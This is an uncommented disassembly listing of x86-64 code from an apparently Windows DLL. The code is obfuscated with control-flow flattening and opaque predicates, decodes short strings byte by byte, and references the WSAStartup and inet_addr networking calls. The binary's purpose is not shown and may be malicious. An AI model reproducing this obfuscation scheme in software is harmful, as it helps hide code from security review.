mov dword [rbp + 0x250], 8
mov eax, dword [rbp + 0x250]
movzx ebx, ax
add ebx, 0x6f
mov esi, 0x7d9dde1b
jmp 0x180066f00
mov byte [rbp + 0x260], dl
mov dl, byte [rbp + 0x260]
mov byte [rcx + 1], dl
mov dword [rbp + 0x248], 0x61
mov edx, 0xf31fe6b
nop word [rax + rax]
cmp edx, 0xf31fe6b
je 0x180067005
cmp edx, 0x8e4f2f87
jne 0x180066ff0
jmp 0x180067799
mov edx, 0x8e4f2f87
jmp 0x180066ff0
mov rax, qword [rbp + 0x278]
movzx ecx, word [rbp + 0x268]
mov word [rax], cx
mov rax, qword [rbp + 0x278]
mov dword [rbp + 0x250], WSAStartup
mov ecx, dword [0x180129bc0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bc4], 0xa
setl dl
or dl, cl
mov edi, 0x32563533
cmovne edi, esi
mov edx, 0x32563533
cmovne edx, r8d
mov ecx, 0xd26fdbfa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x15714128
jle 0x1800670c0
cmp ecx, 0x15714129
je 0x1800677e7
cmp ecx, 0x32563533
je 0x1800670d7
cmp ecx, 0x2be4a460
jne 0x180067070
mov ecx, 0x26fa7f10
nop dword [rax]
cmp ecx, 0x26fa7f10
je 0x1800670b2
cmp ecx, 0x789dc127
jne 0x1800670a0
jmp 0x1800670f9
mov ecx, 0x789dc127
jmp 0x1800670a0
cmp ecx, 0xd26fdbfa
je 0x180067110
cmp ecx, 0xed401dca
jne 0x180067070
mov ecx, 0x15714129
jmp 0x180067070
mov ecx, 0x26fa7f10
nop dword [rax]
cmp ecx, 0x26fa7f10
je 0x1800670f2
cmp ecx, 0x789dc127
jne 0x1800670e0
jmp 0x180067117
mov ecx, 0x789dc127
jmp 0x1800670e0
mov word [rbp + 0x270], reloc.WS2_32.dll_inet_addr
movzx ebx, word [rbp + 0x270]
mov ecx, edi
jmp 0x180067070
mov ecx, edx
jmp 0x180067070
mov word [rbp + 0x270], reloc.WS2_32.dll_inet_addr
movzx ecx, word [rbp + 0x270]
mov ecx, 0x2be4a460
jmp 0x180067070
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x278]
mov byte [rax + 3], cl
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop
cmp edx, 0x424d75d7
je 0x180067cf9
cmp edx, 0x8e7cd9ae
jne 0x180067150
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180067182
cmp ecx, 0xcb19b41
jne 0x180067170
jmp 0x180067189
mov ecx, 0xcb19b41
jmp 0x180067170
mov dword [rbp + 0x278], 0x5f
movsxd rcx, dword [rbp + 0x278]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x65
mov edx, 0x424d75d7
jmp 0x180067150
mov byte [rbp + 0x268], al
mov al, byte [rbp + 0x268]
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov rax, qword [rbp + 0x248]
mov dword [rbp + 0x270], 0x69
mov ecx, dword [0x180129be8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bec], 0xa
setl dl
or dl, cl
mov edi, 0x8ceba71e
cmovne edi, r8d
mov edx, 0x8ceba71e
cmovne edx, r9d
mov ecx, 0x97144bdb
nop dword [rax + rax]
cmp ecx, 0xaff5b1c5
jle 0x180067250
cmp ecx, 0xaff5b1c6
je 0x180067271
cmp ecx, 0x51b33e4e
je 0x180067298
cmp ecx, 0x611fa820
jne 0x180067220
jmp 0x18006898d
cmp ecx, 0x8ceba71e
je 0x18006729c
cmp ecx, 0x97144bdb
jne 0x180067220
mov dword [rbp + 0x250], 0x5a
mov ecx, 0x51b33e4e
jmp 0x180067220
movsxd rbx, dword [rbp + 0x250]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180067220
mov ecx, edx
jmp 0x180067220
mov ecx, dword [rbp + 0x250]
mov ecx, dword [rbp + 0x250]
mov ecx, 0xaff5b1c6
jmp 0x180067220
movzx edx, word [rbp + 0x248]
add edx, 2
xor edx, 0x72
mov word [rcx + 6], dx
add rcx, 8
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x278], rax
mov ecx, 0xce195e6f
nop word [rax + rax]
cmp ecx, 0xfa6b2617
je 0x1800689d7
cmp ecx, 0xce195e6f
jne 0x1800672e0
mov rcx, qword [rbp + 0x278]
movzx ecx, word [rcx]
mov word [rbp + 0x248], cx
mov ecx, 0xfa6b2617
jmp 0x1800672e0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
mov dl, byte [rdx]
mov byte [rbp + 0x260], dl
mov ebx, 0xf903eb77
nop word [rax + rax]
cmp ebx, 0x25d84f40
je 0x180068b91
cmp ebx, 0xf903eb77
jne 0x180067330
movsx edx, byte [rbp + 0x260]
mov ebx, 0x25d84f40
jmp 0x180067330
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
add cl, 0x74
mov byte [rax + 2], cl
mov dword [rbp + 0x278], 3
mov edx, 0x551dceed
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1badd59c
je 0x180068bdc
cmp edx, 0x551dceed
jne 0x180067380
mov ecx, dword [rbp + 0x278]
mov edx, 0x1badd59c
jmp 0x180067380
mov dword [rbp + 0x260], WSAStartup
mov word [rbp + 0x250], ax
movzx eax, word [rbp + 0x250]
mov ecx, dword [rbp + 0x260]
add cx, ax
mov word [rbp + 0x270], cx
mov eax, dword [0x180129c08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xae47c015
mov ecx, 0x9bbefc73
cmove eax, ecx
cmp dword [0x180129c0c], 0xa
cmovl eax, ecx
nop
cmp eax, 0xae47c014
jle 0x180067430
cmp eax, 0xae47c015
je 0x180067445
cmp eax, 0x3363efda
je 0x180068c31
cmp eax, 0xd6f8421c
jne 0x1800673f0
mov eax, dword [0x180129c08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xae47c015
mov ecx, 0x84f90400
jmp 0x1800673e2
cmp eax, 0x84f90400
je 0x1800674a7
cmp eax, 0x9bbefc73
jne 0x1800673f0
mov eax, 0x3363efda
jmp 0x1800673f0
mov ecx, 0xca464dc6
jmp 0x180067470
mov word [rbp + 0x260], 7
movzx eax, word [rbp + 0x260]
mov ecx, 0x9bc96918
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x9bc96918
je 0x1800674fe
cmp ecx, 0xca464dc6
jne 0x180067470
mov eax, 0xa03b8c2a
nop dword [rax]
cmp eax, 0xa03b8c2a
je 0x1800674a0
cmp eax, 0xf339a4f2
jne 0x180067490
jmp 0x18006744c
mov eax, 0xf339a4f2
jmp 0x180067490
mov ecx, 0xca464dc6
nop dword [rax]
cmp ecx, 0x9bc96918
je 0x180067587
cmp ecx, 0xca464dc6
jne 0x1800674b0
mov eax, 0xa03b8c2a
nop dword [rax]
cmp eax, 0xa03b8c2a
je 0x1800674e0
cmp eax, 0xf339a4f2
jne 0x1800674d0
jmp 0x1800674e7
mov eax, 0xf339a4f2
jmp 0x1800674d0
mov word [rbp + 0x260], 7
movzx eax, word [rbp + 0x260]
mov ecx, 0x9bc96918
jmp 0x1800674b0
mov dword [rbp + 0x260], WSAStartup
mov word [rbp + 0x250], ax
movzx eax, word [rbp + 0x250]
mov ecx, dword [rbp + 0x260]
add cx, ax
mov rax, qword [rbp + 0x248]
mov word [rax], cx
mov rax, qword [rbp + 0x248]
mov ecx, 0xca464dc6
jmp 0x180067550
mov word [rbp + 0x260], 7
movzx eax, word [rbp + 0x260]
mov ecx, 0x9bc96918
nop dword [rax]
cmp ecx, 0x9bc96918
je 0x18006761e
cmp ecx, 0xca464dc6
jne 0x180067550
mov eax, 0xa03b8c2a
nop dword [rax]
cmp eax, 0xa03b8c2a
je 0x180067580
cmp eax, 0xf339a4f2
jne 0x180067570
jmp 0x180067537
mov eax, 0xf339a4f2
jmp 0x180067570
mov dword [rbp + 0x260], WSAStartup
mov word [rbp + 0x250], ax
movzx eax, word [rbp + 0x250]
mov ecx, dword [rbp + 0x260]
add cx, ax
mov rax, qword [rbp + 0x248]
mov word [rax], cx
mov rax, qword [rbp + 0x248]
add rax, 2
mov qword [rbp + 0x278], rax
mov ecx, 0xca464dc6
nop dword [rax]
cmp ecx, 0x9bc96918
je 0x1800673a1
cmp ecx, 0xca464dc6
jne 0x1800675d0
mov eax, 0xa03b8c2a
nop dword [rax]
cmp eax, 0xa03b8c2a
je 0x180067600
cmp eax, 0xf339a4f2
jne 0x1800675f0
jmp 0x180067607
mov eax, 0xf339a4f2
jmp 0x1800675f0
mov word [rbp + 0x260], 7
movzx eax, word [rbp + 0x260]
mov ecx, 0x9bc96918
jmp 0x1800675d0
mov dword [rbp + 0x260], WSAStartup
mov word [rbp + 0x250], ax
movzx eax, word [rbp + 0x250]
mov eax, dword [rbp + 0x260]
mov eax, 0x84f90400
jmp 0x1800673f0
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
add dl, 1
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 2], bl
mov edx, 0xbf0a975f
nop word [rax + rax]
cmp edx, 0xbf0a975f
je 0x180067685
cmp edx, 0x86611407
jne 0x180067670
jmp 0x180068ca0
mov edx, 0x86611407
jmp 0x180067670
mov dword [rbp + 0x250], ebx
mov eax, dword [rbp + 0x250]
mov word [r8 + 2], ax
mov eax, dword [0x180129bf0]
mov ecx, dword [0x180129bf4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0xefcdc21f
cmove edi, r9d
cmp ecx, 0xa
cmovl edi, r9d
mov esi, 0x3cc8ca93
nop word [rax + rax]
cmp esi, 0x7d9dde1b
je 0x180068ce3
cmp esi, 0x3cc8ca93
jne 0x1800676d0
test dl, 1
sete byte [rbp + 0x268]
cmp ecx, 0xa
setl byte [rbp + 0x270]
mov ebx, 0x66b90669
nop dword [rax]
cmp ebx, 0xefcdc21e
jg 0x180067730
cmp ebx, 0x9f128bec
je 0x180067779
cmp ebx, 0xa7b69cb2
je 0x180067767
cmp ebx, 0xdb190901
jne 0x180067700
mov ebx, 0x9f128bec
jmp 0x180067700
cmp ebx, 0xefcdc21f
je 0x18006776b
cmp ebx, 0xdf49869
je 0x180067772
cmp ebx, 0x66b90669
jne 0x180067700
movzx eax, byte [rbp + 0x268]
cmp byte [rbp + 0x270], 0
mov ebx, 0xefcdc21f
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180067700
mov ebx, edi
jmp 0x180067700
mov ebx, 0xa7b69cb2
jmp 0x180067700
mov ebx, 0xdb190901
jmp 0x180067700
mov dword [rbp + 0x250], 8
mov eax, dword [rbp + 0x250]
movzx ebx, ax
add ebx, 0x72
mov esi, 0x7d9dde1b
jmp 0x1800676d0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp ebx, 0xe1858133
je 0x180068d5b
cmp ebx, 0x9ecf9227
jne 0x1800677c0
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x1800677c0
mov word [rbp + 0x270], bx
movzx ecx, word [rbp + 0x270]
mov edx, dword [rbp + 0x250]
add dx, cx
mov word [rax + 2], dx
mov word [rax + 4], 0
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
call fcn.1800911d0
mov rcx, rax
call fcn.180108668
add rsp, 0x20
mov rbx, rax
add ebx, ebx
mov rax, qword [rbp + 0x140]
mov rax, qword [rbp + 0x140]
mov edx, 0x5a6135bc
jmp 0x180067870
movzx edi, word [rbp + 0x244]
mov esi, dword [rbp + 0x234]
xor si, di
mov word [rdx + 8], si
add rdx, 0xa
mov qword [rbp + 0x268], rdx
lea rdx, [0x18011fbb6]
mov qword [rbp + 0x270], rdx
mov edx, 0xb32eee2a
cmp edx, 0x267157b2
jle 0x1800678c0
cmp edx, 0x3264b48b
jg 0x1800678f0
cmp edx, 0x267157b3
je 0x18006799d
cmp edx, 0x2c6df29c
jne 0x180067870
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x260]
mov edx, 0x2c6df29c
mov edi, 0x88014611
cmove edx, edi
jmp 0x180067870
cmp edx, 0x88014611
je 0x180068d9c
cmp edx, 0xb32eee2a
je 0x180067ccd
cmp edx, 0xc92413a6
jne 0x180067870
mov edx, 0x2c6df29c
mov rcx, qword [rbp + 0x250]
jmp 0x180067870
cmp edx, 0x3264b48c
je 0x180067a1d
cmp edx, 0x5a6135bc
jne 0x180067870
mov qword [rbp + 0x238], rax
mov rdx, qword [rbp + 0x238]
mov word [rdx], 0xa130
mov rdx, qword [rbp + 0x238]
mov dword [rbp + 0x234], 0x65
mov edi, 0xac53c64
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0xc10e005
je 0x180067a9d
cmp edi, 0xac53c64
jne 0x180067940
mov qword [rbp + 0x248], rax
mov esi, 0xbb3442c7
cmp esi, 0xb2aab59d
je 0x18006797e
cmp esi, 0xbb3442c7
jne 0x180067960
mov rdi, qword [rbp + 0x248]
mov esi, 0xb2aab59d
jmp 0x180067960
mov qword [rbp + 0x278], rdi
mov rdi, qword [rbp + 0x278]
movzx edi, word [rdi]
mov word [rbp + 0x244], di
mov edi, 0xc10e005
jmp 0x180067940
mov rdx, qword [rbp + 0x270]
movzx edx, word [rdx]
mov dword [rbp + 0x234], edx
mov edx, 0xac53c64
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xc10e005
je 0x180067b1d
cmp edx, 0xac53c64
jne 0x1800679c0
mov qword [rbp + 0x248], rax
mov edi, 0xbb3442c7
cmp edi, 0xb2aab59d
je 0x1800679fe
cmp edi, 0xbb3442c7
jne 0x1800679e0
mov rdx, qword [rbp + 0x248]
mov edi, 0xb2aab59d
jmp 0x1800679e0
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
movzx edx, word [rdx]
mov word [rbp + 0x244], dx
mov edx, 0xc10e005
jmp 0x1800679c0
mov rdx, qword [rbp + 0x270]
movzx edx, word [rdx]
mov dword [rbp + 0x234], edx
mov edx, 0xac53c64
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xc10e005
je 0x180067b4f
cmp edx, 0xac53c64
jne 0x180067a40
mov qword [rbp + 0x248], rax
mov edi, 0xbb3442c7
cmp edi, 0xb2aab59d
je 0x180067a7e
cmp edi, 0xbb3442c7
jne 0x180067a60
mov rdx, qword [rbp + 0x248]
mov edi, 0xb2aab59d
jmp 0x180067a60
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
movzx edx, word [rdx]
mov word [rbp + 0x244], dx
mov edx, 0xc10e005
jmp 0x180067a40
movzx edi, word [rbp + 0x244]
mov esi, dword [rbp + 0x234]
xor si, di
mov word [rdx + 2], si
mov dword [rbp + 0x234], WSAStartup
mov edi, 0xac53c64
cmp edi, 0xc10e005
je 0x180067bbe
cmp edi, 0xac53c64
jne 0x180067ac0
mov qword [rbp + 0x248], rax
mov esi, 0xbb3442c7
cmp esi, 0xb2aab59d
je 0x180067afe
cmp esi, 0xbb3442c7
jne 0x180067ae0
mov rdi, qword [rbp + 0x248]
mov esi, 0xb2aab59d
jmp 0x180067ae0
mov qword [rbp + 0x278], rdi
mov rdi, qword [rbp + 0x278]
movzx edi, word [rdi]
mov word [rbp + 0x244], di
mov edi, 0xc10e005
jmp 0x180067ac0
movzx edx, word [rbp + 0x244]
mov edi, dword [rbp + 0x234]
xor di, dx
mov rdx, qword [rbp + 0x268]
mov word [rdx], di
mov rdx, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x238]
mov edx, 0x3264b48c
jmp 0x180067870
movzx edx, word [rbp + 0x244]
mov edi, dword [rbp + 0x234]
xor di, dx
mov rdx, qword [rbp + 0x268]
mov word [rdx], di
mov rdx, qword [rbp + 0x268]
add rdx, 2
mov qword [rbp + 0x250], rdx
mov rdx, qword [rbp + 0x238]
add rdx, 0xe
mov qword [rbp + 0x260], rdx
mov edx, dword [0x180129c10]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
mov edx, 0xc92413a6
mov edi, 0x267157b3
cmovne edx, edi
cmp dword [0x180129c14], 0xa
mov edi, 0xc92413a6
cmovl edx, edi
jmp 0x180067870
movzx edi, word [rbp + 0x244]
mov esi, dword [rbp + 0x234]
xor si, di
mov word [rdx + 4], si
mov dword [rbp + 0x234], WSAStartup
mov edi, 0xac53c64
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0xc10e005
je 0x180067c4d
cmp edi, 0xac53c64
jne 0x180067bf0
mov qword [rbp + 0x248], rax
mov esi, 0xbb3442c7
nop dword [rax]
cmp esi, 0xb2aab59d
je 0x180067c2e
cmp esi, 0xbb3442c7
jne 0x180067c10
mov rdi, qword [rbp + 0x248]
mov esi, 0xb2aab59d
jmp 0x180067c10
mov qword [rbp + 0x278], rdi
mov rdi, qword [rbp + 0x278]
movzx edi, word [rdi]
mov word [rbp + 0x244], di
mov edi, 0xc10e005
jmp 0x180067bf0
movzx edi, word [rbp + 0x244]
mov esi, dword [rbp + 0x234]
xor si, di
mov word [rdx + 6], si
mov dword [rbp + 0x234], WSAStartup
mov edi, 0xac53c64
cmp edi, 0xc10e005
je 0x18006783e
cmp edi, 0xac53c64
jne 0x180067c70
mov qword [rbp + 0x248], rax
mov esi, 0xbb3442c7
cmp esi, 0xb2aab59d
je 0x180067cae
cmp esi, 0xbb3442c7
jne 0x180067c90
mov rdi, qword [rbp + 0x248]
mov esi, 0xb2aab59d
jmp 0x180067c90
mov qword [rbp + 0x278], rdi
mov rdi, qword [rbp + 0x278]
movzx edi, word [rdi]
mov word [rbp + 0x244], di
mov edi, 0xc10e005
jmp 0x180067c70
mov edx, dword [0x180129c10]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
mov edx, 0x267157b3
mov edi, 0x3264b48c
cmove edx, edi
cmp dword [0x180129c14], 0xa
cmovl edx, edi
jmp 0x180067870
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x278]
mov byte [rax + 4], cl
add rax, 5
mov qword [rbp + 0x248], rax
mov eax, 0xb620cd56
jmp 0x180067d40
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
mov eax, 0x684b826e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x345ec5e4
jle 0x180067de0
cmp eax, 0x684b826d
jg 0x180067e10
cmp eax, 0x345ec5e5
je 0x180067eea
cmp eax, 0x4fd02911
jne 0x180067d40
mov ecx, 0x8e7cd9ae
nop dword [rax]
cmp ecx, 0x424d75d7
je 0x180067f10
cmp ecx, 0x8e7cd9ae
jne 0x180067d70
mov eax, 0xf253d7a4
nop dword [rax]
cmp eax, 0xf253d7a4
je 0x180067da0
cmp eax, 0xcb19b41
jne 0x180067d90
jmp 0x180067da7
mov eax, 0xcb19b41
jmp 0x180067d90
mov dword [rbp + 0x260], 0x5f
movsxd rax, dword [rbp + 0x260]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
add eax, 0x48
mov ecx, 0x424d75d7
jmp 0x180067d70
cmp eax, 0xd875f187
jle 0x180067eaf
cmp eax, 0xd875f188
je 0x180067fb0
cmp eax, 0xe7e31a9c
jne 0x180067d40
mov eax, 0x345ec5e5
jmp 0x180067d40
cmp eax, 0x684b826e
je 0x18006802e
cmp eax, 0x68a92597
jne 0x180067d40
movsx eax, byte [rbp + 0x250]
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x424d75d7
je 0x1800680af
cmp edx, 0x8e7cd9ae
jne 0x180067e40
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180067e72
cmp ecx, 0xcb19b41
jne 0x180067e60
jmp 0x180067e79
mov ecx, 0xcb19b41
jmp 0x180067e60
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, eax
mov edx, 0x424d75d7
jmp 0x180067e40
cmp eax, 0xb620cd56
jne 0x180068559
mov eax, dword [0x180129c18]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x180129c1c], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0xd875f188
cmovne eax, r8d
jmp 0x180067d40
mov eax, dword [0x180129c18]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68a92597
cmove eax, edi
cmp dword [0x180129c1c], 0xa
cmovl eax, edi
jmp 0x180067d40
mov dword [rbp + 0x260], eax
mov eax, dword [rbp + 0x260]
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov rax, qword [rbp + 0x248]
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x424d75d7
je 0x180068140
cmp edx, 0x8e7cd9ae
jne 0x180067f40
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180067f72
cmp ecx, 0xcb19b41
jne 0x180067f60
jmp 0x180067f79
mov ecx, 0xcb19b41
jmp 0x180067f60
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x61
mov edx, 0x424d75d7
jmp 0x180067f40
mov ecx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop
cmp ecx, 0x424d75d7
je 0x1800681d0
cmp ecx, 0x8e7cd9ae
jne 0x180067fc0
mov eax, 0xf253d7a4
nop dword [rax]
cmp eax, 0xf253d7a4
je 0x180067ff0
cmp eax, 0xcb19b41
jne 0x180067fe0
jmp 0x180067ff7
mov eax, 0xcb19b41
jmp 0x180067fe0
mov dword [rbp + 0x260], 0x5f
movsxd rax, dword [rbp + 0x260]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
add eax, 0x48
mov ecx, 0x424d75d7
jmp 0x180067fc0
movsx eax, byte [rbp + 0x250]
mov edx, 0x8e7cd9ae
nop word [rax + rax]
cmp edx, 0x424d75d7
je 0x180068270
cmp edx, 0x8e7cd9ae
jne 0x180068040
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180068072
cmp ecx, 0xcb19b41
jne 0x180068060
jmp 0x180068079
mov ecx, 0xcb19b41
jmp 0x180068060
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, eax
mov edx, 0x424d75d7
jmp 0x180068040
mov dword [rbp + 0x260], ecx
mov eax, dword [rbp + 0x260]
mov rcx, qword [rbp + 0x278]
mov byte [rcx], al
mov rax, qword [rbp + 0x278]
mov edx, 0x8e7cd9ae
cmp edx, 0x424d75d7
je 0x180067d1a
cmp edx, 0x8e7cd9ae
jne 0x1800680d0
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180068102
cmp ecx, 0xcb19b41
jne 0x1800680f0
jmp 0x180068109
mov ecx, 0xcb19b41
jmp 0x1800680f0
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x65
mov edx, 0x424d75d7
jmp 0x1800680d0
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 1], cl
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop
cmp edx, 0x424d75d7
je 0x180068310
cmp edx, 0x8e7cd9ae
jne 0x180068160
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180068192
cmp ecx, 0xcb19b41
jne 0x180068180
jmp 0x180068199
mov ecx, 0xcb19b41
jmp 0x180068180
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x6e
mov edx, 0x424d75d7
jmp 0x180068160
mov dword [rbp + 0x260], eax
mov eax, dword [rbp + 0x260]
mov rcx, qword [rbp + 0x248]
mov byte [rcx], al
mov rax, qword [rbp + 0x248]
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x424d75d7
je 0x1800683a0
cmp edx, 0x8e7cd9ae
jne 0x180068200
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180068232
cmp ecx, 0xcb19b41
jne 0x180068220
jmp 0x180068239
mov ecx, 0xcb19b41
jmp 0x180068220
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x61
mov edx, 0x424d75d7
jmp 0x180068200
mov dword [rbp + 0x260], ecx
mov eax, dword [rbp + 0x260]
mov rcx, qword [rbp + 0x278]
mov byte [rcx], al
mov rax, qword [rbp + 0x278]
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x424d75d7
je 0x180068430
cmp edx, 0x8e7cd9ae
jne 0x1800682a0
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x1800682d2
cmp ecx, 0xcb19b41
jne 0x1800682c0
jmp 0x1800682d9
mov ecx, 0xcb19b41
jmp 0x1800682c0
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x65
mov edx, 0x424d75d7
jmp 0x1800682a0
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 2], cl
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop
cmp edx, 0x424d75d7
je 0x180068469
cmp edx, 0x8e7cd9ae
jne 0x180068330
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x180068362
cmp ecx, 0xcb19b41
jne 0x180068350
jmp 0x180068369
mov ecx, 0xcb19b41
jmp 0x180068350
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x64
mov edx, 0x424d75d7
jmp 0x180068330
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 1], cl
mov edx, 0x8e7cd9ae
nop word cs:[rax + rax]
nop
cmp edx, 0x424d75d7
je 0x180068482
cmp edx, 0x8e7cd9ae
jne 0x1800683c0
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x1800683f2
cmp ecx, 0xcb19b41
jne 0x1800683e0
jmp 0x1800683f9
mov ecx, 0xcb19b41
jmp 0x1800683e0
mov dword [rbp + 0x260], 0x5f
movsxd rcx, dword [rbp + 0x260]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x6e
mov edx, 0x424d75d7
jmp 0x1800683c0
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
mov eax, dword [0x180129c18]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68a92597
cmove eax, esi
cmp dword [0x180129c1c], 0xa
cmovl eax, esi
jmp 0x180067d40
mov dword [rbp + 0x260], ecx
mov ecx, dword [rbp + 0x260]
